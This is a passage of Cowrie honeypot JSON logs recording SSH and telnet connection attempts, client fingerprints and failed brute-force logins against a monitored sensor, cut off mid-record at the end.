{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:22:d2:60:83:29:39:b5:79:39:10:81:00:a6:3d:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtWrlnCqPKmdvE029NFv2JSbX+afYQeHqO6khzgn62O1qIwQgZwF++MfcRfbcHejMl2JC8zaXFCPCJRxPo7wTmKHEOrFFXXkJ5B44szqsp/TOw4N5rVqZAp3gjZ3B4UlDSFEPhRD/avYT7zZstGlc/dys5IpBKlaChDpAs/qimZ4VTz60vP/2DtSuu2DpfNTdD6xRpnnAw9r3oK/a9B1PVIxkVcHUXn9VdnhCemGl3F+ZOw88uyKZnnpbPLbjpVKXHhIwfsqs9Sn6vsKr4dTgOwiG9JyIyO9sRn6AYsEJwf9ogc1R9o+aP7igB0fCQpZYDbWjeniW48e/uDcH5k2Kz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:22:d2:60:83:29:39:b5:79:39:10:81:00:a6:3d:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.680871Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:22:d2:60:83:29:39:b5:79:39:10:81:00:a6:3d:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtWrlnCqPKmdvE029NFv2JSbX+afYQeHqO6khzgn62O1qIwQgZwF++MfcRfbcHejMl2JC8zaXFCPCJRxPo7wTmKHEOrFFXXkJ5B44szqsp/TOw4N5rVqZAp3gjZ3B4UlDSFEPhRD/avYT7zZstGlc/dys5IpBKlaChDpAs/qimZ4VTz60vP/2DtSuu2DpfNTdD6xRpnnAw9r3oK/a9B1PVIxkVcHUXn9VdnhCemGl3F+ZOw88uyKZnnpbPLbjpVKXHhIwfsqs9Sn6vsKr4dTgOwiG9JyIyO9sRn6AYsEJwf9ogc1R9o+aP7igB0fCQpZYDbWjeniW48e/uDcH5k2Kz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.684394Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:fd:8c:1c:81:21:4b:fb:3b:6b:1a:6e:c7:56:72:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2K9PrOmZs94ytl+ylEHZChI1Mmirk/TilwUR4BD1/m1aRtVXoU9DAdg/4aYjilrR/qvBB44ElZj6yJCyqRO8oJ4v9ixmO5vzec+nd1nqOnufnU/KuPWTXjFTlfGtjlhtzz0Pske7Cotbsju6l+AmHh0FTt6xjT9v824GseC9ZI85NmWHZcDEg9JTt8Lilm8FQXsbqZDK8/D34lqEvUbfbCHGbn/KNgBFeXVXLjgD4LBJAJ891nePTogOUip4j2nW5mvbyniFaJGtQ53gTz37e9CadNbGL6U5yN3cd3qwFSJoKApfXO26zMFmiprIgfCfKh5boPFE3d4+QqDTi0xyYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:fd:8c:1c:81:21:4b:fb:3b:6b:1a:6e:c7:56:72:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.691422Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:fd:8c:1c:81:21:4b:fb:3b:6b:1a:6e:c7:56:72:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2K9PrOmZs94ytl+ylEHZChI1Mmirk/TilwUR4BD1/m1aRtVXoU9DAdg/4aYjilrR/qvBB44ElZj6yJCyqRO8oJ4v9ixmO5vzec+nd1nqOnufnU/KuPWTXjFTlfGtjlhtzz0Pske7Cotbsju6l+AmHh0FTt6xjT9v824GseC9ZI85NmWHZcDEg9JTt8Lilm8FQXsbqZDK8/D34lqEvUbfbCHGbn/KNgBFeXVXLjgD4LBJAJ891nePTogOUip4j2nW5mvbyniFaJGtQ53gTz37e9CadNbGL6U5yN3cd3qwFSJoKApfXO26zMFmiprIgfCfKh5boPFE3d4+QqDTi0xyYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.696115Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:67:01:9e:91:66:01:30:3c:e6:a7:30:20:d1:e4:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCCTkK9kVwhNqQAaJvW+XaYEm2R/w1CvISIWNQteEF4Cf1Nv9C114TcCJSFKtonr3XtTJut90MsNfIlBUtHnKHSKnnd2A1+UtofNlgm/iaTs7O47dEP4GkCBnDsxu8yOQO2dMhVx4yR2LKncuTzG0vMTLxZQQfSVpQxBptai4yx0AXc3bpE5B6npj8Ajj54L/kBhGJeeWXhYvLmtR6YTirvKWYt7Zfck52vpB7VGcadznitrF+CCmd67PVjzaFzD57KarC0WN2us9ZR6Pa/SpuNwRlYHpSKMhnVirfqJDWucIouadeCtQg5KZQEOvAjx/yZbkc1PCMkX8bwpZsYuTX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:67:01:9e:91:66:01:30:3c:e6:a7:30:20:d1:e4:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.702205Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:67:01:9e:91:66:01:30:3c:e6:a7:30:20:d1:e4:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCCTkK9kVwhNqQAaJvW+XaYEm2R/w1CvISIWNQteEF4Cf1Nv9C114TcCJSFKtonr3XtTJut90MsNfIlBUtHnKHSKnnd2A1+UtofNlgm/iaTs7O47dEP4GkCBnDsxu8yOQO2dMhVx4yR2LKncuTzG0vMTLxZQQfSVpQxBptai4yx0AXc3bpE5B6npj8Ajj54L/kBhGJeeWXhYvLmtR6YTirvKWYt7Zfck52vpB7VGcadznitrF+CCmd67PVjzaFzD57KarC0WN2us9ZR6Pa/SpuNwRlYHpSKMhnVirfqJDWucIouadeCtQg5KZQEOvAjx/yZbkc1PCMkX8bwpZsYuTX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.705523Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:86:4a:26:cb:be:69:90:e0:50:cc:fb:50:6b:5c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/7j1uw8T0q4ky5ClTq4qDuGsJnFNmT8WBV4eRSPzj/1/rClj4UoyLUabK0BH93tKFw/ZJeJJ/mcSb0TAEB+3ci4VhBUd8hNAKozIbwNPmm7UJcG4sT1dsmZZvI37gUNYufiFEbpaoNzHH16qxqOWO8WrNeA12B3BYlYpd1h1OzDPFb4V8RxVqfKdxcSNxI0qJsncOAPsag1U88qzBq8KT66rm6EKAVbCvgCo6XiHXAmpyAcFoQyr0MuhAMHA1jiKG2VcOSOIBegFGoimyDmYM+872OqlsdoXr1arSS56tt0XnvvszWXQ7UkXU2DfQsDgCPxN4wAg3/uTQuatfmf0J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:86:4a:26:cb:be:69:90:e0:50:cc:fb:50:6b:5c:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.711915Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:86:4a:26:cb:be:69:90:e0:50:cc:fb:50:6b:5c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/7j1uw8T0q4ky5ClTq4qDuGsJnFNmT8WBV4eRSPzj/1/rClj4UoyLUabK0BH93tKFw/ZJeJJ/mcSb0TAEB+3ci4VhBUd8hNAKozIbwNPmm7UJcG4sT1dsmZZvI37gUNYufiFEbpaoNzHH16qxqOWO8WrNeA12B3BYlYpd1h1OzDPFb4V8RxVqfKdxcSNxI0qJsncOAPsag1U88qzBq8KT66rm6EKAVbCvgCo6XiHXAmpyAcFoQyr0MuhAMHA1jiKG2VcOSOIBegFGoimyDmYM+872OqlsdoXr1arSS56tt0XnvvszWXQ7UkXU2DfQsDgCPxN4wAg3/uTQuatfmf0J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.715070Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:33:9d:39:77:20:5d:c4:14:8a:7f:aa:fd:ad:57:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn4VvYJQ1Y+UpbjL45RTUg3voaruBjhj5opGl0VKp7EXcvGRpYwmZdzScc37DN/Iwpxj8AnVcjsuNnAXQAHHsTCcQump67TZmVntiEM4gXnxSuep8cxcNhAqh/w7s0yFjCpl8w/Z/ZClzML1tMIS6/SjwybU+2gEdyXAvfaxQRUc2ilsyOSsXl5pJcHnR0amvikSWUkcjdueBxrdV/BEDqIDCZ5Xxnk9MAqIk0I4MEbxlHzCoNBCyweApUoXxsDPzh5ef6m9hTS/+ida4N6o5mhK5nM05rAhveaDaANeYA4XHF3TLfHaOVk+zpLyYQgltuR57KYl7zTf78SIEhwA9fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:33:9d:39:77:20:5d:c4:14:8a:7f:aa:fd:ad:57:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.721572Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:33:9d:39:77:20:5d:c4:14:8a:7f:aa:fd:ad:57:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAn4VvYJQ1Y+UpbjL45RTUg3voaruBjhj5opGl0VKp7EXcvGRpYwmZdzScc37DN/Iwpxj8AnVcjsuNnAXQAHHsTCcQump67TZmVntiEM4gXnxSuep8cxcNhAqh/w7s0yFjCpl8w/Z/ZClzML1tMIS6/SjwybU+2gEdyXAvfaxQRUc2ilsyOSsXl5pJcHnR0amvikSWUkcjdueBxrdV/BEDqIDCZ5Xxnk9MAqIk0I4MEbxlHzCoNBCyweApUoXxsDPzh5ef6m9hTS/+ida4N6o5mhK5nM05rAhveaDaANeYA4XHF3TLfHaOVk+zpLyYQgltuR57KYl7zTf78SIEhwA9fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.741446Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:30.753287Z","src_ip":"64.31.53.170","session":"d3d2cf6e5f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.95716977119446,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:34.180126Z","src_ip":"152.42.224.71","session":"ad37c7bd07ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":33936,"dst_ip":"159.203.135.109","dst_port":22,"session":"d95c34ac43e3","protocol":"ssh","message":"New connection: 103.188.177.46:33936 (159.203.135.109:22) [session: d95c34ac43e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:36.206405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:36.211367Z","src_ip":"103.188.177.46","session":"d95c34ac43e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:36.447286Z","src_ip":"103.188.177.46","session":"d95c34ac43e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangbin","password":"zhangbin","message":"login attempt [zhangbin/zhangbin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:37.425166Z","src_ip":"103.188.177.46","session":"d95c34ac43e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:38.664572Z","src_ip":"103.188.177.46","session":"d95c34ac43e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.771650075912476,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:39.766079Z","src_ip":"152.42.224.71","session":"c45dd1debd82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40798,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be262411d9b","protocol":"telnet","message":"New connection: 152.42.224.71:40798 (10.17.0.5:23) [session: 0be262411d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:45.074285Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":39618,"dst_ip":"159.203.135.109","dst_port":23,"session":"c263d855b3a3","protocol":"telnet","message":"New connection: 209.127.178.212:39618 (159.203.135.109:23) [session: c263d855b3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:47.253980Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":39840,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdd6881160c5","protocol":"telnet","message":"New connection: 209.127.178.212:39840 (159.203.135.109:23) [session: fdd6881160c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:52.200417Z"}
{"eventid":"cowrie.session.closed","duration":91.65562081336975,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:55.744475Z","src_ip":"152.42.224.71","session":"f4330ab849b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.481614112854004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:58.559628Z","src_ip":"209.127.178.212","session":"93f0d9e06562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":36028,"dst_ip":"159.203.135.109","dst_port":22,"session":"40c36e0918d0","protocol":"ssh","message":"New connection: 43.133.62.188:36028 (159.203.135.109:22) [session: 40c36e0918d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:59.315394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:59.320385Z","src_ip":"43.133.62.188","session":"40c36e0918d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.029529094696045,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:59.328753Z","src_ip":"209.127.178.212","session":"eab3217af1f2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:47:59.558921Z","src_ip":"43.133.62.188","session":"40c36e0918d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.91859292984009,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:00.432289Z","src_ip":"152.42.224.71","session":"470ead47d2f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:00.544830Z","src_ip":"43.133.62.188","session":"40c36e0918d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:01.789416Z","src_ip":"43.133.62.188","session":"40c36e0918d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49936,"dst_ip":"10.17.0.5","dst_port":23,"session":"78c91bd1d148","protocol":"telnet","message":"New connection: 152.42.224.71:49936 (10.17.0.5:23) [session: 78c91bd1d148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:14.258603Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47642,"dst_ip":"10.17.0.5","dst_port":22,"session":"342ffe1ef46d","protocol":"ssh","message":"New connection: 193.228.128.84:47642 (10.17.0.5:22) [session: 342ffe1ef46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:17.118018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:17.122713Z","src_ip":"193.228.128.84","session":"342ffe1ef46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:17.232317Z","src_ip":"193.228.128.84","session":"342ffe1ef46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artemka","message":"login attempt [root/artemka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:17.539817Z","src_ip":"193.228.128.84","session":"342ffe1ef46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00129914283752,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:17.988866Z","src_ip":"152.42.224.71","session":"966f4971b0ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:18.644801Z","src_ip":"193.228.128.84","session":"342ffe1ef46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.100125312805176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:19.353986Z","src_ip":"209.127.178.212","session":"c263d855b3a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.680110931396484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:23.880399Z","src_ip":"209.127.178.212","session":"fdd6881160c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":7398,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de01d0c09c5","protocol":"ssh","message":"New connection: 38.93.206.2:7398 (10.17.0.5:22) [session: 7de01d0c09c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:24.031536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:48:24.039433Z","src_ip":"38.93.206.2","session":"7de01d0c09c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 